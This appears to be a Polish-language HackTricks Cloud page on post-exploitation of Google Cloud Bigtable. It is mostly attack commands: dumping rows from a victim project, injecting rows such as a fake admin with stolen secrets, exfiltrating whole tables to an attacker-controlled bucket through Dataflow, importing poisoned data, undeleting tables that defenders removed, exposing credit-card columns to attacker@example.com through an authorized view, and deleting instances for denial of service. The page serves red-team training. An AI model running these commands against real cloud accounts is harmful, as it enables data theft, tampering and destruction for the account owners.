GCP - Bigtable Post Exploitation
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Bigtable
Aby uzyskać więcej informacji o Bigtable sprawdź:
Tip
Zainstaluj
cbtCLI raz za pomocą Cloud SDK, aby poniższe polecenia działały lokalnie:Zainstaluj cbt CLI
gcloud components install cbt
Odczyt wierszy
Uprawnienia: bigtable.tables.readRows
cbt jest dołączony do Cloud SDK i komunikuje się z admin/data APIs bez potrzeby dodatkowego pośrednika. Skieruj go na skompromitowany projekt/instancję i zrzucaj wiersze bezpośrednio z tabeli. Ogranicz skan, jeśli potrzebujesz tylko rzucić okiem.
Odczytaj wpisy Bigtable
```bash # Install cbt gcloud components update gcloud components install cbtRead entries with creds of gcloud
cbt -project=
</details>
### Zapisywanie wierszy
**Uprawnienia:** `bigtable.tables.mutateRows`, (będziesz potrzebować `bigtable.tables.readRows`, aby potwierdzić zmianę).
Użyj tego samego narzędzia, aby upsert arbitrary cells. To najszybszy sposób na backdoor configs, drop web shells lub plant poisoned dataset rows.
<details>
<summary>Inject malicious row</summary>
```bash
# Inject a new row
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>
cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 profile:name="Mallory" profile:role="admin" secrets:api_key=@/tmp/stealme.bin
# Verify the injected row
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337
cbt set akceptuje surowe bajty przez składnię @/path, więc możesz przesłać skompilowane payloady lub serializowane protobufs dokładnie tak, jak oczekują downstream services.
Eksfiltruj wiersze do swojego bucketu
Permissions: dataflow.jobs.create, resourcemanager.projects.get, iam.serviceAccounts.actAs
Możliwe jest eksfiltracja zawartości całej tabeli do bucketu kontrolowanego przez atakującego przez uruchomienie zadania Dataflow, które przesyła wiersze do GCS bucketu, którym zarządzasz.
Note
Zwróć uwagę, że będziesz potrzebować uprawnienia
iam.serviceAccounts.actAsnad jakimś SA z wystarczającymi uprawnieniami do wykonania eksportu (domyślnie, jeśli nie wskazano inaczej, użyty zostanie domyślny compute SA).
Eksportuj Bigtable do GCS bucket
```bash gcloud dataflow jobs runExample
gcloud dataflow jobs run dump-bigtable3
–gcs-location=gs://dataflow-templates-us-central1/latest/Cloud_Bigtable_to_GCS_Json
–project=gcp-labs-3uis1xlx
–region=us-central1
–parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/
–staging-location=gs://deleteme20u9843rhfioue/staging/
</details>
> [!NOTE]
> Switch the template to `Cloud_Bigtable_to_GCS_Parquet` or `Cloud_Bigtable_to_GCS_SequenceFile` jeśli chcesz wyjścia Parquet/SequenceFile zamiast JSON. Uprawnienia są takie same; zmienia się tylko ścieżka szablonu.
### Import wierszy
**Uprawnienia:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
Możliwe jest zaimportowanie zawartości całej tabeli z bucketu kontrolowanego przez attacker poprzez uruchomienie zadania Dataflow, które przesyła wiersze do GCS bucketu, który kontrolujesz. W tym celu attacker najpierw będzie musiał utworzyć plik parquet z danymi do zaimportowania zgodny z oczekiwaną schemą. Attacker może najpierw wyeksportować dane w formacie parquet, stosując poprzednią technikę z ustawieniem `Cloud_Bigtable_to_GCS_Parquet`, i dodać nowe wpisy do pobranego pliku parquet.
> [!NOTE]
> Zwróć uwagę, że będziesz potrzebować uprawnienia `iam.serviceAccounts.actAs` nad jakimś SA z wystarczającymi uprawnieniami do wykonania eksportu (domyślnie, jeśli nie wskazano inaczej, używany będzie domyślny compute SA).
<details>
<summary>Import z GCS bucketu do Bigtable</summary>
```bash
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=<REGION> \
--gcs-location=gs://dataflow-templates-<REGION>/<VERSION>>/GCS_Parquet_to_Cloud_Bigtable \
--project=<PROJECT> \
--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE-ID>,bigtableTableId=<TABLE-ID>,inputFilePattern=gs://<BUCKET>/import/bigtable_import.parquet \
--staging-location=gs://<BUCKET>/staging/
# Example
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=us-central1 \
--gcs-location=gs://dataflow-templates-us-central1/latest/GCS_Parquet_to_Cloud_Bigtable \
--project=gcp-labs-3uis1xlx \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
--staging-location=gs://deleteme20u9843rhfioue/staging/
Przywracanie kopii zapasowych
Uprawnienia: bigtable.backups.restore, bigtable.tables.create.
Atakujący z tymi uprawnieniami może przywrócić kopię zapasową do nowej tabeli pod swoją kontrolą, aby odzyskać starsze wrażliwe dane.
Przywróć kopię zapasową Bigtable
```bash gcloud bigtable backups list --instance=gcloud bigtable instances tables restore
–source=projects/<PROJECT_ID_SOURCE>/instances/<INSTANCE_ID_SOURCE>/clusters/<CLUSTER_ID>/backups/<BACKUP_ID>
–async
–destination=<TABLE_ID_NEW>
–destination-instance=<INSTANCE_ID_DESTINATION>
–project=<PROJECT_ID_DESTINATION>
</details>
### Przywracanie tabel
**Uprawnienia:** `bigtable.tables.undelete`
Bigtable obsługuje soft-deletion z okresem karencji (zazwyczaj 7 dni). W tym czasie atakujący posiadający uprawnienie `bigtable.tables.undelete` może przywrócić niedawno usuniętą tabelę i odzyskać wszystkie jej dane, potencjalnie uzyskując dostęp do wrażliwych informacji, które uznano za zniszczone.
Jest to szczególnie przydatne do:
- Odzyskiwania danych z tabel usuniętych przez obrońców podczas reakcji na incydent
- Dostępu do danych historycznych, które zostały celowo usunięte
- Cofania przypadkowych lub złośliwych usunięć w celu utrzymania dostępu
<details>
<summary>Przywróć tabelę Bigtable</summary>
```bash
# List recently deleted tables (requires bigtable.tables.list)
gcloud bigtable instances tables list --instance=<instance-id> \
--show-deleted
# Undelete a table within the retention period
gcloud bigtable instances tables undelete <table-id> \
--instance=<instance-id>
Note
Operacja undelete działa tylko w ramach skonfigurowanego okresu retencji (domyślnie 7 dni). Po upływie tego okna tabela i jej dane są trwale usuwane i nie można ich odzyskać tą metodą.
Tworzenie autoryzowanych widoków
Uprawnienia: bigtable.authorizedViews.create, bigtable.tables.readRows, bigtable.tables.mutateRows
Autoryzowane widoki pozwalają przedstawić selekcjonowany podzbiór tabeli. Zamiast przestrzegać zasady najmniejszych uprawnień, użyj ich do opublikowania dokładnie tych wrażliwych zestawów kolumn/wierszy, na których ci zależy, i umieść na białej liście własny principal.
Warning
Rzecz w tym, że aby utworzyć autoryzowany widok, musisz także mieć możliwość odczytu i modyfikacji wierszy w tabeli bazowej, więc nie uzyskujesz żadnych dodatkowych uprawnień — dlatego ta technika jest w większości bezużyteczna.
Utwórz autoryzowany widok
```bash cat <<'EOF' > /tmp/credit-cards.json { "subsetView": { "rowPrefixes": ["acct#"], "familySubsets": { "pii": { "qualifiers": ["cc_number", "cc_cvv"] } } } } EOFgcloud bigtable authorized-views create card-dump
–instance=
–definition-file=/tmp/credit-cards.json
gcloud bigtable authorized-views add-iam-policy-binding card-dump
–instance=
–member=‘user:attacker@example.com’ –role=‘roles/bigtable.reader’
</details>
Ponieważ dostęp jest ograniczony do widoku, obrońcy często przeoczają fakt, że właśnie utworzyłeś nowy wysokoczuły endpoint.
### Odczyt autoryzowanych widoków
**Permissions:** `bigtable.authorizedViews.readRows`
Jeśli masz dostęp do autoryzowanego widoku, możesz odczytywać z niego dane za pomocą bibliotek klienta Bigtable, podając nazwę autoryzowanego widoku w żądaniach odczytu. Zwróć uwagę, że autoryzowany widok prawdopodobnie będzie ograniczał to, do czego masz dostęp w tabeli. Poniżej znajduje się przykład w Pythonie:
<details>
<summary>Odczyt z autoryzowanego widoku (Python)</summary>
```python
from google.cloud import bigtable
from google.cloud.bigtable_v2 import BigtableClient as DataClient
from google.cloud.bigtable_v2 import ReadRowsRequest
# Set your project, instance, table, view id
PROJECT_ID = "gcp-labs-3uis1xlx"
INSTANCE_ID = "avesc-20251118172913"
TABLE_ID = "prod-orders"
AUTHORIZED_VIEW_ID = "auth_view"
client = bigtable.Client(project=PROJECT_ID, admin=True)
instance = client.instance(INSTANCE_ID)
table = instance.table(TABLE_ID)
data_client = DataClient()
authorized_view_name = f"projects/{PROJECT_ID}/instances/{INSTANCE_ID}/tables/{TABLE_ID}/authorizedViews/{AUTHORIZED_VIEW_ID}"
request = ReadRowsRequest(
authorized_view_name=authorized_view_name
)
rows = data_client.read_rows(request=request)
for response in rows:
for chunk in response.chunks:
if chunk.row_key:
row_key = chunk.row_key.decode('utf-8') if isinstance(chunk.row_key, bytes) else chunk.row_key
print(f"Row: {row_key}")
if chunk.family_name:
family = chunk.family_name.value if hasattr(chunk.family_name, 'value') else chunk.family_name
qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'value') else chunk.qualifier.decode('utf-8')
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
print(f" {family}:{qualifier} = {value}")
Denial of Service via Delete Operations
Uprawnienia: bigtable.appProfiles.delete, bigtable.authorizedViews.delete, bigtable.authorizedViews.deleteTagBinding, bigtable.backups.delete, bigtable.clusters.delete, bigtable.instances.delete, bigtable.tables.delete
Jakiekolwiek uprawnienia do usuwania w Bigtable mogą zostać wykorzystane w atakach denial of service. Atakujący posiadający te uprawnienia może zakłócić działanie poprzez usunięcie krytycznych zasobów Bigtable:
bigtable.appProfiles.delete: Usunięcie profili aplikacji, powodując przerwanie połączeń klientów i konfiguracji routingubigtable.authorizedViews.delete: Usunięcie authorized views, odcinając legalne ścieżki dostępu dla aplikacjibigtable.authorizedViews.deleteTagBinding: Usunięcie powiązań tagów z authorized viewsbigtable.backups.delete: Zniszczenie snapshotów kopii zapasowych, eliminując opcje odzyskiwania po awariibigtable.clusters.delete: Usunięcie całych klastrów, powodując natychmiastową niedostępność danychbigtable.instances.delete: Usunięcie całych instancji Bigtable, kasując wszystkie tabele i konfiguracjebigtable.tables.delete: Usunięcie pojedynczych tabel, powodując utratę danych i awarie aplikacji
Usuń zasoby Bigtable
```bash # Delete a table gcloud bigtable instances tables deleteDelete an authorized view
gcloud bigtable authorized-views delete
–instance=
Delete a backup
gcloud bigtable backups delete
–instance=
Delete an app profile
gcloud bigtable app-profiles delete
–instance=
Delete a cluster
gcloud bigtable clusters delete
–instance=
Delete an entire instance
gcloud bigtable instances delete
</details>
> [!WARNING]
> Operacje usuwania są często natychmiastowe i nieodwracalne. Upewnij się, że istnieją kopie zapasowe przed testowaniem tych poleceń, ponieważ mogą one spowodować trwałą utratę danych i poważne zakłócenia w działaniu usługi.
> [!TIP]
> Ucz się & ćwicz AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Ucz się & ćwicz GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Ucz się & ćwicz Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Wspieraj HackTricks</summary>
>
> - Sprawdź [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Dołącz do** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) lub [**telegram group**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Podziel się hacking tricks, zgłaszając PRy do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks Cloud

